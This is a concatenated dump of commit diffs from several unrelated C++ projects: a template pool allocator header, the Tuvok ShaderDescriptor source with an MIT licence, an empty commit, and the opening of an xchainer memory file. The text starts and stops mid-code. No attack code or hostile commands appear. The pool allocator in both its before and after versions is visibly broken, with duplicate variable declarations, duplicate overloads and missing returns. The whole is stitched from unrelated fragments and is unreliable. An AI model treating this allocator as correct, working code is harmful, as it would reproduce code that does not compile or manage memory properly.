m_headerSizeInBytes);\n AllocationHeaderBuilder::SetByte(adjustmentMetaData, adjustment);\n\n \/\/ Set adjustment metadata\n size_t* adjustmentMetaData = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_currentFree) - m_headerSizeInBytes + 1);\n AllocationHeaderBuilder::SetByte(adjustmentMetaData, adjustment);\n\n\n T* current = m_firstFree;\n m_firstFree = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_firstFree) + sizeof(T) + m_alignment);\n \/\/ TODORT alignment on each segment?\n ++m_numberOfOccupiedBlocks;\n }\n else\n {\n \/\/ TODORT logging\n \/\/ TODORT could maybe return null instead, dangerous to throw exception if this is supposed to be threadsafe and the exceptions is\n \/\/ not handled corretly\n throw std::exception(\"pool is full\"); \/\/ TODORT better message\n }\n }\n\n T* Free(T* t)\n {\n delete t;\n ++m_numberOfOccupiedBlocks;\n }\n\n private:\n void* m_start;\n T* m_firstFree;\n T* m_lastFree;\n\n bool m_shared;\n size_t m_numberOfOccupiedBlocks;\n\n \/\/ Not sure about\n uint8_t m_alignment;\n uint8_t m_headerSizeInBytes = 3; \/\/ [next, flags, adjustment] data\n };\n }\n}<commit_msg>Fixed bug which used the wrong operator<commit_after>#pragma once\n#include <Utility\/MemoryManager\/Include\/Allocator\/MemoryAllocator.hpp>\n#include <exception>\n\nnamespace Utility\n{\n namespace MemoryManager\n {\n class ApplicationAllocator;\n\n template <typename T> class PoolAllocator : public MemoryAllocator\n {\n\n PoolAllocator::PoolAllocator() {}\n\n \/**\n Start the pool and allocate their own memory\n *\/\n void Initialize(const size_t& p_memorySize, MemoryAllocator& p_applicationAllocator, const uint8_t& p_alignment, const bool& p_threadShared)\n {\n \/\/ TODORT move to cpp\n MemoryAllocator::Initialize(p_memorySize, p_alignment, p_threadShared);\n }\n\n \/**\n Start the pool with our application allocator as base, distributes already allocated memory from \"above\".\n *\/\n void Initialize(const size_t& p_memorySize, MemoryAllocator& p_applicationAllocator, const uint8_t& p_alignment, const bool& p_threadShared)\n {\n \/\/ TODORT move to cpp\n MemoryAllocator::Initialize(p_memorySize, p_applicationAllocator, p_alignment, p_threadShared);\n }\n\n \/**\n TODORT docs\n *\/\n void RawAllocator::InternalInitialize()\n {\n m_firstFree = m_raw;\n if(m_alignment > m_headerSizeInBytes)\n {\n \/\/ TODORT fix freelist\n }\n else\n {\n \/\/ TODORT\n throw std::runtime_error(\"m_alignment must be larger than m_headerSizeInBytes:\" + m_headerSizeInBytes);\n }\n }\n\n \/\/ void IncreasePoolSize(){} \/\/TODORT\n \/\/ void GetPossibleMemoryLeaks\n \/\/ void GetOccupiedBlocks (Iterate through all blocks and check flags)\n\n virtual PoolAllocator::~PoolAllocator() {}\n\n T* Allocate()\n {\n if((m_numberOfTotalBlocks - m_numberOfOccupiedBlocks) > 0)\n {\n \/\/ Compute adjustment\n const uint8_t mask = m_alignment - m_headerSizeInBytes;\n const uint8_t misalignment = (reinterpret_cast<size_t>(m_raw) & mask);\n const uint8_t adjustment = m_alignment - misalignment;\n\n \/\/ Get next pointer\n\n \/\/ Compute\n\n \/\/ Compute start\n m_currentFree = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_currentFree) + adjustment);\n\n \/\/ Set adjustment metadata\n size_t* adjustmentMetaData = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_currentFree) - m_headerSizeInBytes);\n AllocationHeaderBuilder::SetByte(adjustmentMetaData, adjustment);\n\n \/\/ Set adjustment metadata\n size_t* adjustmentMetaData = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_currentFree) - m_headerSizeInBytes + 1);\n AllocationHeaderBuilder::SetByte(adjustmentMetaData, adjustment);\n\n\n T* current = m_firstFree;\n m_firstFree = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_firstFree) + sizeof(T) + m_alignment);\n \/\/ TODORT alignment on each segment?\n ++m_numberOfOccupiedBlocks;\n }\n else\n {\n \/\/ TODORT logging\n \/\/ TODORT could maybe return null instead, dangerous to throw exception if this is supposed to be threadsafe and the exceptions is\n \/\/ not handled corretly\n throw std::exception(\"pool is full\"); \/\/ TODORT better message\n }\n }\n\n T* Free(T* t)\n {\n delete t;\n --m_numberOfOccupiedBlocks;\n\n }\n\n private:\n void* m_start;\n T* m_firstFree;\n T* m_lastFree;\n\n bool m_shared;\n size_t m_numberOfOccupiedBlocks;\n\n \/\/ Not sure about\n uint8_t m_alignment;\n uint8_t m_headerSizeInBytes = 3; \/\/ [next, flags, adjustment] data\n };\n }\n}<|endoftext|>"} {"text":"<commit_before>#include \"StdTuvokDefines.h\"\n#include <algorithm>\n#include <cstdarg>\n#include <fstream>\n#include <functional>\n#include <stdexcept>\n#include <string>\n#include <utility>\n#include <vector>\n#include \"ShaderDescriptor.h\"\n#include \"Basics\/SysTools.h\"\n#include \"Basics\/SystemInfo.h\"\n#include \"Controller\/Controller.h\"\n\nnamespace tuvok {\n\nenum shader_type { SHADER_VERTEX_DISK, SHADER_VERTEX_STRING,\n SHADER_FRAGMENT_DISK, SHADER_FRAGMENT_STRING };\n\nstruct ShaderDescriptor::sinfo {\n std::vector<std::pair<std::string, enum shader_type> > vertex;\n std::vector<std::pair<std::string, enum shader_type> > fragment;\n bool operator==(const ShaderDescriptor::sinfo& sdi) const;\n};\nbool ShaderDescriptor::sinfo::operator==(const ShaderDescriptor::sinfo& sdi)\nconst {\n return vertex.size() == sdi.vertex.size() &&\n fragment.size() == sdi.fragment.size() &&\n std::equal(vertex.begin(), vertex.end(), sdi.vertex.begin()) &&\n std::equal(fragment.begin(), fragment.end(), sdi.fragment.begin());\n}\n\nShaderDescriptor::ShaderDescriptor() : si(new struct sinfo()) { }\nShaderDescriptor::ShaderDescriptor(const ShaderDescriptor& sd) : si(sd.si) {}\nShaderDescriptor::ShaderDescriptor(const std::vector<std::string>& vertex,\n const std::vector<std::string>& fragment) :\n si(new struct sinfo())\n{\n typedef std::vector<std::string> sv;\n for(sv::const_iterator v = vertex.begin(); v != vertex.end(); ++v) {\n this->si->vertex.push_back(std::make_pair(*v, SHADER_VERTEX_DISK));\n }\n for(sv::const_iterator f = fragment.begin(); f != fragment.end(); ++f) {\n this->si->fragment.push_back(std::make_pair(*f, SHADER_FRAGMENT_DISK));\n }\n}\n\n\/\/ SysTools::FileExists can take a std::string OR a std::wstring. This makes\n\/\/ it hard to use in a function composition, because the compiler cannot figure\n\/\/ out which one we want, and it's not a template or anything so we cannot just\n\/\/ be explicit.\n\/\/ This serves to rename it to avoid the ambiguity.\nstatic bool exists(std::string s) { return SysTools::FileExists(s); }\n\/\/ we could technically achieve this by composing std::plus with\n\/\/ std::plus, but my god is that a nightmare in c++03.\nstatic std::string concat(std::string a, std::string b, std::string c) {\n return a + b + c;\n}\n\n\/\/ Searches for the given filename in the given directories. Returns the fully\n\/\/ qualified path of the file's location.\nstatic std::string find_filename(std::vector<std::string> directories,\n std::string filename)\n{\n \/\/ if we're on Mac, first try to see if the file is in our bundle.\n#ifdef DETECTED_OS_APPLE\n if (SysTools::FileExists(SysTools::GetFromResourceOnMac(filename))) {\n filename = SysTools::GetFromResourceOnMac(filename);\n MESSAGE(\"Found %s in bundle, using that.\", filename.c_str());\n return filename;\n }\n#endif\n\n typedef std::vector<std::string> sv;\n \/\/ check for garbage directories and warn the user about them\n sv::iterator end = std::remove_if(directories.begin(), directories.end(),\n std::not1(std::ptr_fun(exists)));\n for(sv::const_iterator e = end; e != directories.end(); ++e) {\n if (!e->empty())\n WARNING(\"Directory %s does not exist!\", e->c_str());\n }\n \/\/ also, we know they're junk, so don't search in them\n directories.erase(end, directories.end());\n\n \/\/ okay, now prepend each directory into our flename and see if we find a\n \/\/ match.\n using namespace std::placeholders;\n const std::string dirsep = \"\/\";\n \/\/ the functor is a composition: 'exists(add(_1, dirsep, filename))'\n sv::const_iterator fn =\n std::find_if(directories.begin(), directories.end(),\n std::bind(\n std::ptr_fun(exists),\n std::bind(concat, _1, dirsep, filename)\n ));\n\n if(fn == directories.end()) { \/\/ file not found.\n throw std::runtime_error(\"could not find file\");\n }\n return *fn + dirsep + filename;\n}\n\n\nShaderDescriptor ShaderDescriptor::Create(\n std::vector<std::string> directories, \n std::vector<std::pair<uint32_t, std::string> > fragmentDataBindings,\n ...\n) {\n ShaderDescriptor rv;\n va_list args;\n va_start(args, directories);\n\n const char* filename;\n \/\/ we expect two NULLs: first terminates vertex list, second fragment list.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->vertex.push_back(std::make_pair(std::string(filename),\n SHADER_VERTEX_DISK));\n }\n } while(filename != NULL);\n\n \/\/ now second: fragment shaders.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->fragment.push_back(std::make_pair(std::string(filename),\n SHADER_FRAGMENT_DISK));\n }\n } while(filename != NULL);\n va_end(args);\n\n \/\/ now try to clean up all those paths.\n \/\/ The user gave us some directories to search, but let's make sure we also\n \/\/ search the location of our binary.\n std::vector<std::string> dirs = SysTools::GetSubDirList(\n Controller::Instance().SysInfo()->GetProgramPath()\n );\n directories.insert(directories.end(), dirs.begin(), dirs.end());\n directories.push_back(Controller::Instance().SysInfo()->GetProgramPath());\n \n typedef std::vector<std::pair<std::string, enum shader_type> > sv;\n for(sv::iterator v = rv.si->vertex.begin(); v != rv.si->vertex.end(); ++v) {\n v->first = find_filename(directories, v->first);\n }\n for(sv::iterator f = rv.si->fragment.begin(); f != rv.si->fragment.end();\n ++f) {\n f->first = find_filename(directories, f->first);\n }\n\n rv.fragmentDataBindings = fragmentDataBindings;\n\n return rv;\n}\nShaderDescriptor ShaderDescriptor::Create(\n std::vector<std::string> directories, ...\n) {\n ShaderDescriptor rv;\n va_list args;\n va_start(args, directories);\n\n const char* filename;\n \/\/ we expect two NULLs: first terminates vertex list, second fragment list.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->vertex.push_back(std::make_pair(std::string(filename),\n SHADER_VERTEX_DISK));\n }\n } while(filename != NULL);\n\n \/\/ now second: fragment shaders.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->fragment.push_back(std::make_pair(std::string(filename),\n SHADER_FRAGMENT_DISK));\n }\n } while(filename != NULL);\n va_end(args);\n\n \/\/ now try to clean up all those paths.\n \/\/ The user gave us some directories to search, but let's make sure we also\n \/\/ search the location of our binary.\n std::vector<std::string> dirs = SysTools::GetSubDirList(\n Controller::Instance().SysInfo()->GetProgramPath()\n );\n directories.insert(directories.end(), dirs.begin(), dirs.end());\n directories.push_back(Controller::Instance().SysInfo()->GetProgramPath());\n \n typedef std::vector<std::pair<std::string, enum shader_type> > sv;\n for(sv::iterator v = rv.si->vertex.begin(); v != rv.si->vertex.end(); ++v) {\n v->first = find_filename(directories, v->first);\n }\n for(sv::iterator f = rv.si->fragment.begin(); f != rv.si->fragment.end();\n ++f) {\n f->first = find_filename(directories, f->first);\n }\n\n return rv;\n}\n\n\/\/\/ Adds a vertex shader in a string (i.e. not from a filename)\nvoid ShaderDescriptor::AddVertexShaderString(const std::string shader) {\n this->si->vertex.push_back(std::make_pair(shader, SHADER_VERTEX_STRING));\n}\n\n\/\/\/ Adds a fragment shader in a string (i.e. not from a filename)\nvoid ShaderDescriptor::AddFragmentShaderString(const std::string shader) {\n this->si->fragment.push_back(std::make_pair(shader, SHADER_FRAGMENT_STRING));\n}\n\n\/\/\/ Two shaders are equal if they utilize the same set of filenames\/strings\n\/\/\/ to compose the shader.\nbool ShaderDescriptor::operator ==(const ShaderDescriptor& sd) const\n{\n return this->si == sd.si;\n}\n\nstatic std::string readfile(const std::string& filename) {\n \/\/ open in append mode so the file pointer will be at EOF and we can\n \/\/ therefore easily\/quickly figure out the file size.\n std::ifstream ifs(filename.c_str(), std::ios::in | std::ios::ate);\n if(!ifs.is_open()) {\n T_ERROR(\"Could not open shader '%s'\", filename.c_str());\n throw std::runtime_error(\"file could not be opened\");\n }\n std::ifstream::pos_type len = ifs.tellg();\n ifs.seekg(0, std::ios::beg);\n\n std::vector<char> file(size_t(len+std::ifstream::pos_type(1)), 0);\n size_t offset=0;\n do {\n std::streamsize length = std::streamsize(len) - std::streamsize(offset);\n ifs.read(&file[offset], length);\n offset += size_t(ifs.gcount());\n } while(!ifs.eof() && std::ifstream::pos_type(offset) < len);\n ifs.close();\n\n return std::string(&file[0]);\n}\n\ntypedef std::vector<std::pair<std::string, enum shader_type> > slist;\n\/\/ internal implementation: we keep track of which object (ShaderDescriptor) we\n\/\/ came from, the location within that object, and what type we are. The\n\/\/ latter helps us with equality; no location in the vertex shader list is\n\/\/ equal to any location in the fragment shader list.\nstruct ShaderDescriptor::SIterator::siterinfo {\n const ShaderDescriptor* sd;\n slist::const_iterator location;\n enum VertFrag { ITER_VERTEX, ITER_FRAGMENT } vf;\n\n siterinfo(const ShaderDescriptor* sdesc, slist::const_iterator loc,\n enum VertFrag typ) : sd(sdesc), location(loc), vf(typ) { }\n bool operator==(const siterinfo& sit) const {\n return this->vf == sit.vf &&\n this->location == sit.location;\n }\n};\n\nShaderDescriptor::SIterator::SIterator(const ShaderDescriptor::SIterator& sit) :\n si(sit.si) { }\nShaderDescriptor::SIterator::SIterator(\n struct ShaderDescriptor::SIterator::siterinfo sit\n) : si(new ShaderDescriptor::SIterator::siterinfo(sit)) { }\nShaderDescriptor::SIterator& ShaderDescriptor::SIterator::operator++() {\n ++this->si->location;\n return *this;\n}\nShaderDescriptor::SIterator& ShaderDescriptor::SIterator::operator++(int n) {\n std::advance(this->si->location, n);\n return *this;\n}\nbool\nShaderDescriptor::SIterator::operator==(const ShaderDescriptor::SIterator& sit)\nconst {\n return *(this->si) == (*sit.si);\n}\nbool\nShaderDescriptor::SIterator::operator!=(const ShaderDescriptor::SIterator& sit)\nconst {\n return !(*this == sit);\n}\nstd::pair<std::string, std::string>\nShaderDescriptor::SIterator::operator*() const {\n std::pair<std::string, std::string> rv(\n std::make_pair(this->si->location->first, \"(in-memory)\")\n );\n if(this->si->location->second == SHADER_VERTEX_DISK ||\n this->si->location->second == SHADER_FRAGMENT_DISK) {\n \/\/ load it from disk and replace those parameters.\n rv.first = readfile(this->si->location->first);\n rv.second = this->si->location->first;\n }\n return rv;\n}\n\nShaderDescriptor::SIterator ShaderDescriptor::begin_vertex() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->vertex.begin(),\n ShaderDescriptor::SIterator::siterinfo::ITER_VERTEX\n )\n );\n}\nShaderDescriptor::SIterator ShaderDescriptor::end_vertex() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->vertex.end(),\n ShaderDescriptor::SIterator::siterinfo::ITER_VERTEX\n )\n );\n}\n\nShaderDescriptor::SIterator ShaderDescriptor::begin_fragment() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->fragment.begin(),\n ShaderDescriptor::SIterator::siterinfo::ITER_FRAGMENT\n )\n );\n}\nShaderDescriptor::SIterator ShaderDescriptor::end_fragment() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->fragment.end(),\n ShaderDescriptor::SIterator::siterinfo::ITER_FRAGMENT\n )\n );\n}\n\n} \/\/ namespace tuvok\n\n\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2012 Interactive Visualization and Data Analysis Group.\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*\/\n<commit_msg><commit_after>#include \"StdTuvokDefines.h\"\n#include <algorithm>\n#include <cstdarg>\n#include <fstream>\n#include <functional>\n#include <stdexcept>\n#include <string>\n#include <utility>\n#include <vector>\n#include \"ShaderDescriptor.h\"\n#include \"Basics\/SysTools.h\"\n#include \"Basics\/SystemInfo.h\"\n#include \"Controller\/Controller.h\"\n\nnamespace tuvok {\n\nenum shader_type { SHADER_VERTEX_DISK, SHADER_VERTEX_STRING,\n SHADER_FRAGMENT_DISK, SHADER_FRAGMENT_STRING };\n\nstruct ShaderDescriptor::sinfo {\n std::vector<std::pair<std::string, enum shader_type> > vertex;\n std::vector<std::pair<std::string, enum shader_type> > fragment;\n bool operator==(const ShaderDescriptor::sinfo& sdi) const;\n};\nbool ShaderDescriptor::sinfo::operator==(const ShaderDescriptor::sinfo& sdi)\nconst {\n return vertex.size() == sdi.vertex.size() &&\n fragment.size() == sdi.fragment.size() &&\n std::equal(vertex.begin(), vertex.end(), sdi.vertex.begin()) &&\n std::equal(fragment.begin(), fragment.end(), sdi.fragment.begin());\n}\n\nShaderDescriptor::ShaderDescriptor() : si(new struct sinfo()) { }\nShaderDescriptor::ShaderDescriptor(const ShaderDescriptor& sd) : si(sd.si) {}\nShaderDescriptor::ShaderDescriptor(const std::vector<std::string>& vertex,\n const std::vector<std::string>& fragment) :\n si(new struct sinfo())\n{\n typedef std::vector<std::string> sv;\n for(sv::const_iterator v = vertex.begin(); v != vertex.end(); ++v) {\n this->si->vertex.push_back(std::make_pair(*v, SHADER_VERTEX_DISK));\n }\n for(sv::const_iterator f = fragment.begin(); f != fragment.end(); ++f) {\n this->si->fragment.push_back(std::make_pair(*f, SHADER_FRAGMENT_DISK));\n }\n}\n\n\/\/ SysTools::FileExists can take a std::string OR a std::wstring. This makes\n\/\/ it hard to use in a function composition, because the compiler cannot figure\n\/\/ out which one we want, and it's not a template or anything so we cannot just\n\/\/ be explicit.\n\/\/ This serves to rename it to avoid the ambiguity.\nstatic bool exists(std::string s) { return SysTools::FileExists(s); }\n\/\/ we could technically achieve this by composing std::plus with\n\/\/ std::plus, but my god is that a nightmare in c++03.\nstatic std::string concat(std::string a, std::string b, std::string c) {\n return a + b + c;\n}\n\n\/\/ Searches for the given filename in the given directories. Returns the fully\n\/\/ qualified path of the file's location.\nstatic std::string find_filename(std::vector<std::string> directories,\n std::string filename)\n{\n \/\/ if we're on Mac, first try to see if the file is in our bundle.\n#ifdef DETECTED_OS_APPLE\n if (SysTools::FileExists(SysTools::GetFromResourceOnMac(filename))) {\n filename = SysTools::GetFromResourceOnMac(filename);\n MESSAGE(\"Found %s in bundle, using that.\", filename.c_str());\n return filename;\n }\n#endif\n\n typedef std::vector<std::string> sv;\n \/\/ check for garbage directories and warn the user about them\n sv::iterator end = std::remove_if(directories.begin(), directories.end(),\n std::not1(std::ptr_fun(exists)));\n for(sv::const_iterator e = end; e != directories.end(); ++e) {\n if (!e->empty())\n WARNING(\"Directory %s does not exist!\", e->c_str());\n }\n \/\/ also, we know they're junk, so don't search in them\n directories.erase(end, directories.end());\n\n \/\/ okay, now prepend each directory into our flename and see if we find a\n \/\/ match.\n using namespace std::placeholders;\n const std::string dirsep = \"\/\";\n \/\/ the functor is a composition: 'exists(add(_1, dirsep, filename))'\n sv::const_iterator fn =\n std::find_if(directories.begin(), directories.end(),\n std::bind(\n std::ptr_fun(exists),\n std::bind(concat, _1, dirsep, filename)\n ));\n\n if(fn == directories.end()) { \/\/ file not found.\n throw std::runtime_error(\"could not find file\");\n }\n return *fn + dirsep + filename;\n}\n\n\nShaderDescriptor ShaderDescriptor::Create(\n std::vector<std::string> directories, \n std::vector<std::pair<uint32_t, std::string> > fragmentDataBindings,\n ...\n) {\n ShaderDescriptor rv;\n va_list args;\n va_start(args, fragmentDataBindings);\n\n const char* filename;\n \/\/ we expect two NULLs: first terminates vertex list, second fragment list.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->vertex.push_back(std::make_pair(std::string(filename),\n SHADER_VERTEX_DISK));\n }\n } while(filename != NULL);\n\n \/\/ now second: fragment shaders.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->fragment.push_back(std::make_pair(std::string(filename),\n SHADER_FRAGMENT_DISK));\n }\n } while(filename != NULL);\n va_end(args);\n\n \/\/ now try to clean up all those paths.\n \/\/ The user gave us some directories to search, but let's make sure we also\n \/\/ search the location of our binary.\n std::vector<std::string> dirs = SysTools::GetSubDirList(\n Controller::Instance().SysInfo()->GetProgramPath()\n );\n directories.insert(directories.end(), dirs.begin(), dirs.end());\n directories.push_back(Controller::Instance().SysInfo()->GetProgramPath());\n \n typedef std::vector<std::pair<std::string, enum shader_type> > sv;\n for(sv::iterator v = rv.si->vertex.begin(); v != rv.si->vertex.end(); ++v) {\n v->first = find_filename(directories, v->first);\n }\n for(sv::iterator f = rv.si->fragment.begin(); f != rv.si->fragment.end();\n ++f) {\n f->first = find_filename(directories, f->first);\n }\n\n rv.fragmentDataBindings = fragmentDataBindings;\n\n return rv;\n}\nShaderDescriptor ShaderDescriptor::Create(\n std::vector<std::string> directories, ...\n) {\n ShaderDescriptor rv;\n va_list args;\n va_start(args, directories);\n\n const char* filename;\n \/\/ we expect two NULLs: first terminates vertex list, second fragment list.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->vertex.push_back(std::make_pair(std::string(filename),\n SHADER_VERTEX_DISK));\n }\n } while(filename != NULL);\n\n \/\/ now second: fragment shaders.\n do {\n filename = va_arg(args, const char*);\n if(filename != NULL) {\n rv.si->fragment.push_back(std::make_pair(std::string(filename),\n SHADER_FRAGMENT_DISK));\n }\n } while(filename != NULL);\n va_end(args);\n\n \/\/ now try to clean up all those paths.\n \/\/ The user gave us some directories to search, but let's make sure we also\n \/\/ search the location of our binary.\n std::vector<std::string> dirs = SysTools::GetSubDirList(\n Controller::Instance().SysInfo()->GetProgramPath()\n );\n directories.insert(directories.end(), dirs.begin(), dirs.end());\n directories.push_back(Controller::Instance().SysInfo()->GetProgramPath());\n \n typedef std::vector<std::pair<std::string, enum shader_type> > sv;\n for(sv::iterator v = rv.si->vertex.begin(); v != rv.si->vertex.end(); ++v) {\n v->first = find_filename(directories, v->first);\n }\n for(sv::iterator f = rv.si->fragment.begin(); f != rv.si->fragment.end();\n ++f) {\n f->first = find_filename(directories, f->first);\n }\n\n return rv;\n}\n\n\/\/\/ Adds a vertex shader in a string (i.e. not from a filename)\nvoid ShaderDescriptor::AddVertexShaderString(const std::string shader) {\n this->si->vertex.push_back(std::make_pair(shader, SHADER_VERTEX_STRING));\n}\n\n\/\/\/ Adds a fragment shader in a string (i.e. not from a filename)\nvoid ShaderDescriptor::AddFragmentShaderString(const std::string shader) {\n this->si->fragment.push_back(std::make_pair(shader, SHADER_FRAGMENT_STRING));\n}\n\n\/\/\/ Two shaders are equal if they utilize the same set of filenames\/strings\n\/\/\/ to compose the shader.\nbool ShaderDescriptor::operator ==(const ShaderDescriptor& sd) const\n{\n return this->si == sd.si;\n}\n\nstatic std::string readfile(const std::string& filename) {\n \/\/ open in append mode so the file pointer will be at EOF and we can\n \/\/ therefore easily\/quickly figure out the file size.\n std::ifstream ifs(filename.c_str(), std::ios::in | std::ios::ate);\n if(!ifs.is_open()) {\n T_ERROR(\"Could not open shader '%s'\", filename.c_str());\n throw std::runtime_error(\"file could not be opened\");\n }\n std::ifstream::pos_type len = ifs.tellg();\n ifs.seekg(0, std::ios::beg);\n\n std::vector<char> file(size_t(len+std::ifstream::pos_type(1)), 0);\n size_t offset=0;\n do {\n std::streamsize length = std::streamsize(len) - std::streamsize(offset);\n ifs.read(&file[offset], length);\n offset += size_t(ifs.gcount());\n } while(!ifs.eof() && std::ifstream::pos_type(offset) < len);\n ifs.close();\n\n return std::string(&file[0]);\n}\n\ntypedef std::vector<std::pair<std::string, enum shader_type> > slist;\n\/\/ internal implementation: we keep track of which object (ShaderDescriptor) we\n\/\/ came from, the location within that object, and what type we are. The\n\/\/ latter helps us with equality; no location in the vertex shader list is\n\/\/ equal to any location in the fragment shader list.\nstruct ShaderDescriptor::SIterator::siterinfo {\n const ShaderDescriptor* sd;\n slist::const_iterator location;\n enum VertFrag { ITER_VERTEX, ITER_FRAGMENT } vf;\n\n siterinfo(const ShaderDescriptor* sdesc, slist::const_iterator loc,\n enum VertFrag typ) : sd(sdesc), location(loc), vf(typ) { }\n bool operator==(const siterinfo& sit) const {\n return this->vf == sit.vf &&\n this->location == sit.location;\n }\n};\n\nShaderDescriptor::SIterator::SIterator(const ShaderDescriptor::SIterator& sit) :\n si(sit.si) { }\nShaderDescriptor::SIterator::SIterator(\n struct ShaderDescriptor::SIterator::siterinfo sit\n) : si(new ShaderDescriptor::SIterator::siterinfo(sit)) { }\nShaderDescriptor::SIterator& ShaderDescriptor::SIterator::operator++() {\n ++this->si->location;\n return *this;\n}\nShaderDescriptor::SIterator& ShaderDescriptor::SIterator::operator++(int n) {\n std::advance(this->si->location, n);\n return *this;\n}\nbool\nShaderDescriptor::SIterator::operator==(const ShaderDescriptor::SIterator& sit)\nconst {\n return *(this->si) == (*sit.si);\n}\nbool\nShaderDescriptor::SIterator::operator!=(const ShaderDescriptor::SIterator& sit)\nconst {\n return !(*this == sit);\n}\nstd::pair<std::string, std::string>\nShaderDescriptor::SIterator::operator*() const {\n std::pair<std::string, std::string> rv(\n std::make_pair(this->si->location->first, \"(in-memory)\")\n );\n if(this->si->location->second == SHADER_VERTEX_DISK ||\n this->si->location->second == SHADER_FRAGMENT_DISK) {\n \/\/ load it from disk and replace those parameters.\n rv.first = readfile(this->si->location->first);\n rv.second = this->si->location->first;\n }\n return rv;\n}\n\nShaderDescriptor::SIterator ShaderDescriptor::begin_vertex() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->vertex.begin(),\n ShaderDescriptor::SIterator::siterinfo::ITER_VERTEX\n )\n );\n}\nShaderDescriptor::SIterator ShaderDescriptor::end_vertex() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->vertex.end(),\n ShaderDescriptor::SIterator::siterinfo::ITER_VERTEX\n )\n );\n}\n\nShaderDescriptor::SIterator ShaderDescriptor::begin_fragment() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->fragment.begin(),\n ShaderDescriptor::SIterator::siterinfo::ITER_FRAGMENT\n )\n );\n}\nShaderDescriptor::SIterator ShaderDescriptor::end_fragment() const {\n return ShaderDescriptor::SIterator(\n ShaderDescriptor::SIterator::siterinfo(\n this, this->si->fragment.end(),\n ShaderDescriptor::SIterator::siterinfo::ITER_FRAGMENT\n )\n );\n}\n\n} \/\/ namespace tuvok\n\n\/*\n For more information, please see: http:\/\/software.sci.utah.edu\n\n The MIT License\n\n Copyright (c) 2012 Interactive Visualization and Data Analysis Group.\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included\n in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n*\/\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Stopped messing with response<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"xchainer\/memory.h\"\n\n#include <cassert>\n\n#ifdef XCHAINER_ENABLE_CUDA\n#include <cuda.h>\n#include <cuda_runtime.h>\n#endif \/\/ XCHAINER_ENABLE_CUDA\n\n#ifdef XCHAINER_ENABLE_CUDA\n#include \"xchainer\/cuda\/cuda_runtime.h\"\n#endif \/\/ XCHAINER_ENABLE_CUDA\n#include \"xchainer\/device.h\"\n#include \"xchainer\/error.h\"\n\nnamespace xchainer {\nnamespace internal {\n\nbool IsPointerCudaMemory(const void* ptr) {\n#ifdef XCHAINER_ENABLE_CUDA\n cudaPointerAttributes attr = {};\n cudaError_t status = cudaPointerGetAttributes(&attr, ptr);\n switch (status) {\n case cudaSuccess:\n if (attr.isManaged) {\n return true;\n } else {\n throw XchainerError(\"Non-managed GPU memory is not supported\");\n }\n case cudaErrorInvalidValue:\n return false;\n default:\n cuda::CheckError(status);\n break;\n }\n assert(false); \/\/ should never be reached\n#else\n return false;\n#endif \/\/ XCHAINER_ENABLE_CUDA\n}\n\nstd::shared_ptr<void> Allocate(const Device& device, size_t bytesize) {\n if (device == MakeDevice(\"cpu\")) {\n return 